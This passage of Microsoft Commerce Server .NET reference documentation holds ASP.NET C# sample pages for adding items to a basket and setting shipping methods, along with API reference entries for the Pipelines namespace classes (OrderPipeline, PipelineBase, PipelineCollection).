        shoppingCart.Save();
    }

    void AddBtn_Click(object source, EventArgs args) {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // Create and populate an instance of the LineItem class
        // that will be added to the order.  If a product variation
        // was being added, the VariantID would need to be specified
        // for the LineItem instance.
        LineItem item = new LineItem();
        item.ProductCatalog = "Adventure Works Catalog";
        item.ProductID = "AW013-08";
        item.Quantity = 1;

        try {

            // This requires that the CommerceContext.UserID property already
            // be set.  It can either be set dynamically if using Commerce Server
            // authentication, or manually.
            Basket shoppingCart =
                orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

            // Try to add the new line item.  If it fails, we will
            // present the user with a friendly error message.
            shoppingCart.OrderForms["default"].LineItems.Add(item);

            // Execute the product pipeline to ensure we have the latest product
            // information in the basket.
            shoppingCart.RunPipeline(new PipelineInfo("basket"));

            shoppingCart.Save();

        } catch (Exception exc) {

            Status.Text = "Basket unavailable.";
            BasketListing.Visible = false;
            AddBtn.Visible = false;
            return;

        }

        UpdateBasket();
    }

</script>

<html>
<head>
<title>Modify a basket</title>
</head>

<body>

<form runat="server">

    <asp:Label
        id="Status"
        runat="server"/>
    <br/>

    <asp:Button
        id="AddBtn"
        text="Add Item"
        OnClick="AddBtn_Click"
        runat="server"/>
    &nbsp;
    <br/>

    <asp:Repeater
        id="BasketListing"
        runat="server">

        <HeaderTemplate>
            <table width="100%">
                <tr>
                    <td width="35">
                        <b>Qty</b>
                    </td>
                    <td width="175">
                        <b>Product</b>
                    </td>
                    <td width="50">
                        <b>Price</b>
                    </td>
                </tr>
        </HeaderTemplate>

        <ItemTemplate>
                <tr>
                    <td width="35">
                        <%# DataBinder.Eval(Container.DataItem, "Quantity") %>
                    </td>
                    <td width="175">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_name]") %>
                    </td>
                    <td width="50">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_cy_list_price]", "{0:C}") %>
                    </td>
                </tr>
        </ItemTemplate>

        <FooterTemplate>
            </table>
        </FooterTemplate>

    </asp:Repeater>

    <table border="0" width="100%">
        <tr>
            <td colspan="4">
                <hr>
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Subtotal</b>
            </td>
            <td align="right">
                <asp:label id="SubTotal" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Tax</b>
            </td>
            <td align="right">
                <asp:label id="Tax" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Grand Total</b>
            </td>
            <td align="right">
                <b><asp:label id="Total" runat="server" /></b>
            </td>
        </tr>
    </table>

</form>

</body>
</html>

See Also

Basket Class (BCL)

CommerceContext Class (BCL)

OrderContext Class (BCL)

OrderForm Class (BCL)

OrderGroup Class (BCL)


Code to Set Shipping Methods on a Basket on an ASP.NET Web Form

Use the following code to set shipping methods on a basket.

<%@ Page Language="C#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">

    DataSet shippingMethods;

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateBasket();
            shippingMethods = GetShippingMethods();
            Page.DataBind();
        }
    }

    void UpdateBasket() {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // This requires that the CommerceContext.UserID property already
        // be set.  It can either be set dynamically if using Commerce Server
        // authentication, or manually.
        Basket shoppingCart =
            orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

        // If the shopping cart has just been created, no order forms
        // will exist and thus, it is unusable.  So a new, default
        // order form must be added.
        if (shoppingCart.OrderForms.Count == 0) {
            shoppingCart.OrderForms.Add(new OrderForm("default"));
        }

        // execute the product pipeline to ensure we have the latest product
        // information in the basket
        shoppingCart.RunPipeline(new PipelineInfo("basket"));

        // Bind the default order form to the Repeater control used for
        // displaying its contents.
        BasketListing.DataSource = shoppingCart.OrderForms["default"].LineItems;
        BasketListing.DataBind();

        // Update information about the order.
        SubTotal.Text = String.Format("{0:C}", shoppingCart.SubTotal);

        // This data will not be available after running the basket pipeline
        // alone.
        Tax.Text = String.Format("{0:C}", shoppingCart.TaxTotal);
        Total.Text = String.Format("{0:C}", shoppingCart.Total);

        shoppingCart.Save();

    }

    DataSet GetShippingMethods() {

        // The filter used in looking up the shipping methods.
        string filter = "enabled=1 and language_id='en-US'";

        // Create an array that lists the columns we want to return.
        string[] columns = {"shipping_method_id", "shipping_method_name"};

        // Get a reference to the current instance of the OrderContext.
        OrderContext orders = CommerceContext.Current.OrderSystem;

        // Retrieve the available shipping methods, returning only the columns
        // specified previously.  Note that if there are no available shipping
        // methods, an empty DataSet will be returned.
        return orders.GetShippingMethods(filter, "shipping_method_name", columns);

    }

    void ReCalcBtn_Click(object source, EventArgs args) {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // This requires that the CommerceContext.UserID property already
        // be set.  It can either be set dynamically if using Commerce Server
        // authentication, or manually.
        Basket shoppingCart =
            orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

        // Iterate through the line items and the selected values, and then
        // associate each selected shipping method with the appropriate
        // line item.
        for (int i=0; i< BasketListing.Items.Count; i++) {
            DropDownList ShippingMethods =
                BasketListing.Items[i].FindControl("ShippingMethodList") as DropDownList;

            // Retrieve the current line item based on its position in the Repeater.
            LineItem item = shoppingCart.OrderForms["default"].LineItems[i];

            // Associate the selected shipping method with the line item.
            item.ShippingMethodID = "{" + ShippingMethods.SelectedItem.Value + "}";
            item.ShippingMethodName = ShippingMethods.SelectedItem.Text;
        }

        shoppingCart.Save();
    }

</script>

<html>
<head>
<title>Set Shipping Methods</title>
</head>

<body>

<form runat="server">

    <asp:Label
        id="Status"
        runat="server"/>
    <br/>

    <asp:Button
        id="ReCalcBtn"
        text="Recalculate"
        OnClick="ReCalcBtn_Click"
        runat="server"/>
    &nbsp;
    <br/>

    <asp:Repeater
        id="BasketListing"
        runat="server">

        <HeaderTemplate>
            <table width="100%">
                <tr>
                    <td width="35">
                        <b>Qty</b>
                    </td>
                    <td width="175">
                        <b>Product</b>
                    </td>
                    <td width="50">
                        <b>Price</b>
                    </td>
                    <td>
                        <b>Shipping Option</b>
                    </td>
                </tr>
        </HeaderTemplate>

        <ItemTemplate>
                <tr>
                    <td width="35">
                        <%# DataBinder.Eval(Container.DataItem, "Quantity") %>
                    </td>
                    <td width="175">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_name]") %>
                    </td>
                    <td width="50">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_cy_list_price]", "{0:C}") %>
                    </td>
                    <td>
                    <asp:DropDownList
                        id="ShippingMethodList"
                        DataSource='<%# shippingMethods %>'
                        DataTextField="shipping_method_name"
                        DataValueField="shipping_method_id"
                        runat="server"/>
                </tr>
        </ItemTemplate>

        <FooterTemplate>
            </table>
        </FooterTemplate>

    </asp:Repeater>

    <table border="0" width="100%">
        <tr>
            <td colspan="4">
                <hr>
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Subtotal</b>
            </td>
            <td align="right">
                <asp:label id="SubTotal" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Tax</b>
            </td>
            <td align="right">
                <asp:label id="Tax" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Grand Total</b>
            </td>
            <td align="right">
                <b><asp:label id="Total" runat="server" /></b>
            </td>
        </tr>
    </table>

</form>

</body>
</html>

See Also

Basket Class (BCL)

CommerceContext Class (BCL)

OrderContext Class (BCL)

OrderForm Class (BCL)

OrderGroup Class (BCL)


Code to Dump an Order Form

Use the following code to dump the contents of an order form.

using Microsoft.CommerceServer.Runtime;
// For Idictionary.
using Microsoft.CommerceServer.Runtime.Orders;
// For OrderForm.
using Microsoft.CommerceServer.Runtime.Diagnostics;
   // For DumpUtils.

   OrderForm orderForm = basket.OrderForms[0];
   DumpUtils.DumpDictionary(orderForm.Dictionary, new HtmlTextWriter(Response.Output), "OrderForm: " + orderForm.Name);

See Also

Dictionary Class (BCL)

DumpUtils Class (BCL)

OrderForm Class (BCL)


Microsoft.CommerceServer.Runtime.Pipelines

The classes in the Microsoft.CommerceServer.Runtime.Pipelines namespace contain the functionality needed to run pipelines in the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Pipelines Namespace Object Model

Depicts the object model of the Microsoft.CommerceServer.Runtime.Pipelines namespace.

Classes

Class | Description
ContentSelectionPipeline | Creates and runs a Content Selection Framework (CSF) pipeline.
OrderPipeline | Creates and runs an Order Processing pipeline (OPP).
PipelineBase | The abstract base class for pipelines.
PipelineCollection | Stores the collection of pipelines configured for the site.
PipelineExeception | Exception class for pipeline failures.
PipelineExecuteException | Exception class thrown when a pipeline fails to execute successfully.
PipelineLoadException | Exception class thrown when a pipeline fails to load successfully.

Examples

Example | Description
Code to Read a Pipeline Collection and Display Its Properties | Describes how to read a pipeline collection and display its contents.

See Also

Commerce Server .NET Application Framework Tutorial


ContentSelectionPipeline Class (BCL)

A Content Selection Framework (CSF) pipeline.

Public Instance Constructor

Constructor | Description
ContentSelectionPipeline Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the ContentSelectionPipeline class with the specified values.

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the CSF pipeline using Commerce.PooledPipeline.
ToString (Inherited from PipelineBase) | Returns the name of the pipeline.

Public Instance Properties

Property | Description
DebugContext (Inherited from PipelineBase) | Gets the DebugContext for this pipeline.
LoggingEnabled (Inherited from PipelineBase) | Gets a boolean that determines if logging is enabled.
LogPath (Inherited from PipelineBase) | Gets the pipeline log file path.
Name (Inherited from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherited from PipelineBase) | Gets the path to the pipeline .pcf file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionPipeline Constructor (BCL)

Public Instance Constructor

Constructor | Description
ContentSelectionPipeline Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the ContentSelectionPipeline class with the specified values.


ContentSelectionPipeline Constructor (String, String, Boolean, String, DebugContext) (BCL)

Use this method to create a new instance of the ContentSelectionPipeline class with the specified parameter values.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal pipelineConfigPath As System.String, _
  ByVal loggingEnabled As System.Boolean, _
  ByVal logPath As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ContentSelectionPipeline(
  System.String name,
  System.String pipelineConfigPath,
  System.Boolean loggingEnabled,
  System.String logPath,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
Friendly name of the pipeline. May not be null.
pipelineConfigPath
Fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
Fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
name
Friendly name of the pipeline. May not be null.
pipelineConfigPath
Fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
Fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws an ArgumentNullException if any of the required arguments are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionPipeline Methods (BCL)

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the Content Selection Framework (CSF) pipeline using Commerce.PooledPipeline.
ToString (Inherited from PipelineBase) | Returns the name of the pipeline.


ContentSelectionPipeline.Execute (Object, Object) Method (BCL)

Use this method to execute the Content Selection Framework (CSF) pipeline.

Definition

[Visual Basic .NET]
Overrides Public Function Execute( _
  ByVal order As System.Object, _
  ByVal context As System.Object _
) As System.Int32
[C#]
public override System.Int32 Execute(
  System.Object order,
  System.Object context
);

Parameters

[Visual Basic .NET]
order
An order dictionary or an OrderForm object. May not be null.
context
Context dictionary object. May be null.
[C#]
order
An order dictionary or an OrderForm object. May not be null.
context
Context dictionary object. May be null.

Return Value

Error level | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed.

Remarks

Throws an ArgumentNullException if the order argument is null.

Throws a CommerceCreateObjectException if the pipeline COM object could not be found.

Throws a PipelineLoadException if the pipeline could not be loaded.

Throws a PipelineExecuteException if there is an exception during pipeline execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionPipeline Properties (BCL)

Public Instance Properties

Property | Description
DebugContext (Inherited from PipelineBase) | Gets the DebugContext for this pipeline.
LoggingEnabled (Inherited from PipelineBase) | Gets a boolean that determines if logging is enabled.
LogPath (Inherited from PipelineBase) | Gets the pipeline log file path.
Name (Inherited from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherited from PipelineBase) | Gets the path to the pipeline .pcf file.


OrderPipeline Class (BCL)

Creates and runs an Order Processing pipeline (OPP).

Public Instance Constructor

Constructor | Description
OrderPipeline Constructor(String, String, Boolean, String, Boolean, DebugContext) | Creates a new instance of the OrderPipeline class with the specified parameter values.

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the Order Pipeline using the Commerce.PooledPipeline or Commerce.PooledTxPipeline object.
ToString (Inherits from PipelineBase) | Returns the name of the pipeline.

Public Instance Properties

Property | Description
DebugContext (Inherits from PipelineBase) | Gets the DebugContext object for this pipeline.
LoggingEnabled (Inherits from PipelineBase) | Gets a Boolean that determines whether logging is enabled.
LogPath (Inherits from PipelineBase) | Gets the pipeline log file path.
Name (Inherits from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherits from PipelineBase) | Gets the path to the pipeline .pcf file.
TransactionalSetting | Gets the transactional setting of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderPipeline Constructor(String, String, Boolean, String, Boolean, DebugContext) | Creates a new instance of the OrderPipeline class with the specified parameter values.

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Constructor (String, String, Boolean, String, Boolean, DebugContext) (BCL)

Use this method to create a new instance of the OrderPipeline class with the specified parameter values.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal pipelineConfigPath As System.String, _
  ByVal loggingEnabled As System.Boolean, _
  ByVal logPath As System.String, _
  ByVal transactional As System.Boolean, _
  ByVal dbgContext As DebugContext _
)
[C#]
public OrderPipeline(
  System.String name,
  System.String pipelineConfigPath,
  System.Boolean loggingEnabled,
  System.String logPath,
  System.Boolean transactional,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
A value of True if pipeline logging should be enabled.
logPath
A fully qualified path to the log file. May not be null if logging is enabled.
transactional
A value of True if the pipeline should require running in a transaction.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information released by this class will be output to the user. May not be null.
[C#]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
A value of True if pipeline logging should be enabled.
logPath
A fully qualified path to the log file. May not be null if logging is enabled.
transactional
A value of True if the pipeline should require running in a transaction.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information released by this class will be output to the user. May not be null.

Remarks

Throws an ArgumentNullException if any of the required arguments are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Methods (BCL)

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the order pipeline using the Commerce.PooledPipeline or Commerce.PooledTxPipeline object.
ToString (Inherits from PipelineBase) | Returns the name of the pipeline.

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline.Execute (Object, Object) Method (BCL)

Use this method to execute the order pipeline using the Commerce.PooledPipeline or Commerce.PooledTxPipeline object.

Definition

[Visual Basic .NET]
Overrides Public Function Execute( _
  ByVal order As System.Object, _
  ByVal context As System.Object _
) As System.Int32
[C#]
public override System.Int32 Execute(
  System.Object order,
  System.Object context
);

Parameters

[Visual Basic .NET]
order
The Order dictionary or an OrderForm object. May not be null.
context
The Context dictionary. May not be null.
[C#]
order
The Order dictionary or an OrderForm object. May not be null.
context
The Context dictionary. May not be null.

Return Value

The error level.

Error Level | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user in the ASP page.
3+ | Failure. A pipeline component failed.

Remarks

Throws an ArgumentNullException if the order parameter or the context parameter is null.

Throws a CommerceCreateObjectException if the Pipeline COM object could not be found.

Throws a PipelineLoadException if the pipeline could not be loaded.

Throws a PipelineExecuteException if there is an exception during pipeline execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Properties (BCL)

Public Instance Properties

Property | Description
DebugContext (Inherits from PipelineBase) | Gets the DebugContext object for this pipeline.
LoggingEnabled (Inherits from PipelineBase) | Gets a Boolean that determines whether logging is enabled.
LogPath (Inherits from PipelineBase) | Gets the pipeline log file path.
Name (Inherits from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherits from PipelineBase) | Gets the path to the pipeline .pcf file.
TransactionalSetting | Gets the transactional setting of the pipeline.

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline.TransactionalSetting Property (BCL)

The TransactionalSetting property is a read-only Boolean that indicates whether the pipeline should run in a transaction.

Definition

[Visual Basic .NET]
Public ReadOnly Property TransactionalSetting As System.Boolean
[C#]
public System.Boolean TransactionalSetting {get;}

Property Value

A Boolean value that indicates whether the pipeline should run a transaction.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


PipelineBase Class (BCL)

The abstract base class for pipelines.

Protected Instance Constructor

Constructor | Description
PipelineBase Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the PipelineBase class.

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the pipeline.
ToString | Returns the name of the pipeline.

Public Instance Properties

Property | Description
DebugContext | Gets the DebugContext object for the pipeline.
LoggingEnabled | Gets a Boolean that determines whether logging is enabled.
LogPath | Gets the pipeline log file path.
Name | Gets the friendly name of the pipeline.
PipelineConfigPath | Gets the path to the pipeline .pcf file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase Constructor (BCL)

Protected Instance Constructor

Constructor | Description
PipelineBase Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the PipelineBase class.


PipelineBase Constructor (String, String, Boolean, String, DebugContext) (BCL)

Use this method to create a new instance of the PipelineBase class.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal name As System.String, _
  ByVal pipelineConfigPath As System.String, _
  ByVal loggingEnabled As System.Boolean, _
  ByVal logPath As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
protected PipelineBase(
  System.String name,
  System.String pipelineConfigPath,
  System.Boolean loggingEnabled,
  System.String logPath,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
The fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information displayed by this class will appear to the user. May not be null.
[C#]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
The fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information displayed by this class will appear to the user. May not be null.

Remarks

Throws an ArgumentNullException if any of the required parameters are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase Methods (BCL)

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the pipeline.
ToString | Returns the name of the pipeline.


PipelineBase.Execute (Object, Object) Method (BCL)

Use this method to run a pipeline. This method must be overridden in the derived classes.

Definition

[Visual Basic .NET]
Public MustOverride Function Execute( _
  ByVal order As System.Object, _
  ByVal context As System.Object _
) As System.Int32
[C#]
public abstract virtual System.Int32 Execute(
  System.Object order,
  System.Object context
);

Parameters

[Visual Basic .NET]
order
An Order dictionary or an OrderForm object. May not be null.
context
A Context dictionary object. May be null.
[C#]
order
An Order dictionary or an OrderForm object. May not be null.
context
A Context dictionary object. May be null.

Return Value

Error Level | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed.

Remarks

Throws an ArgumentNullException if the order parameter is null.

Throws a CommerceCreateObjectException if the Pipeline COM object could not be found.

Throws a PipelineLoadException if the pipeline could not be loaded.

Throws a PipelineExecuteException if there is an exception during pipeline execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.ToString Method (BCL)

Use this method to retrieve the name of the pipeline.

Definition

[Visual Basic .NET]
Overridable Public Function ToString( _
) As System.String
[C#]
public virtual System.String ToString(
);

Return Value

The name of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase Properties (BCL)

Public Instance Properties

Property | Description
DebugContext | Gets the DebugContext object for this pipeline.
LoggingEnabled | Gets a Boolean that determines whether logging is enabled.
LogPath | Gets the pipeline log file path.
Name | Gets the friendly name of the pipeline.
PipelineConfigPath | Gets the path to the pipeline .pcf file.


PipelineBase.DebugContext Property (BCL)

The DebugContext property is a read-only DebugContext that gets the DebugContext object for this pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object for this pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.LoggingEnabled Property (BCL)

The LoggingEnabled property is a read-only Boolean that determines whether logging is enabled.

Definition

[Visual Basic .NET]
Public ReadOnly Property LoggingEnabled As System.Boolean
[C#]
public System.Boolean LoggingEnabled {get;}

Property Value

A Boolean that indicates whether logging is enabled.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.LogPath Property (BCL)

The LogPath property is a read-only String that gets the path of the log file.

Definition

[Visual Basic .NET]
Public ReadOnly Property LogPath As System.String
[C#]
public System.String LogPath {get;}

Property Value

The path of the log file.

Remarks

When a pipeline object is run within the Commerce Server .NET Application Framework and the CommerceContext.UserID property is set (either explicitly or because the CommerceAuthenticationModule is enabled), the log file path is constructed using the path section of the logPath property that was provided when the pipeline was constructed and appends the CommerceContext.UserID property for the filename. When a pipeline object is running outside of the Commerce Server .NET Application Framework, or when the CommerceContext.UserID property is not set, the log file path is set to the complete logPath specified when the pipeline object was constructed.

Pipeline logging is not thread safe, so it is recommended that you set the CommerceContext.UserID property either automatically or explicitly, so that a unique log file name is generated with each execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.Name Property (BCL)

The Name property is a read-only String that gets the friendly name of the pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The friendly name of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.PipelineConfigPath Property (BCL)

The PipelineConfigPath property is a read-only String that gets the path to the pipeline .pcf file.

Definition

[Visual Basic .NET]
Public ReadOnly Property PipelineConfigPath As System.String
[C#]
public System.String PipelineConfigPath {get;}

Property Value

Gets the path to the pipeline .pcf file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Class

Stores the collection of pipelines configured for the site.

Public Instance Constructor

Constructor | Description
PipelineCollection Constructor | Creates a new instance of the PipelineCollection class for the specified site.

Public Instance Methods

Method | Description
Add(String, PipelineBase) | Adds a pipeline to the collection.
CopyTo(Array, Int32) | Copies the pipeline objects into an array, starting at a particular array index.
GetEnumerator | Supports enumeration of the pipelines in the collection.

Public Instance Properties

Property | Description
Count | Gets the number of pipelines contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a pipeline based on the pipeline name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineCollection Constructor | Creates a new instance of the PipelineCollection class for the specified site.


PipelineCollection Constructor (BCL)

Use this method to create a new instance of the PipelineCollection class for the specified site.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, PipelineBase) | Adds a pipeline to the collection.
CopyTo(Array, Int32) | Copies the pipeline objects into an array, starting at a particular array index.
GetEnumerator | Supports enumeration of the pipelines in the collection.


PipelineCollection.Add (String, PipelineBase) Method (BCL)

Use this method to add a pipeline to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal pipelineName As System.String, _
  ByVal pipeline As PipelineBase _
)
[C#]
public void Add(
  System.String pipelineName,
  PipelineBase pipeline
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name. May not be null.
pipeline
The Pipeline object. May not be null.
[C#]
pipelineName
The pipeline name. May not be null.
pipeline
The Pipeline object. May not be null.

Remarks

Throws an ArgumentNullException if either required parameter is passed as null.

Throws an ArgumentException if a pipeline with the same name already exists in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the pipeline objects into an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.GetEnumerator Method (BCL)

Use this method to support enumeration of the pipelines in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An IEnumerator for enumerating the pipelines in the collection.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of pipelines contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a pipeline based on the pipeline name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


PipelineCollection.Count Property (BCL)

The Count property is a read-only Int32 that gets the number of pipelines contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
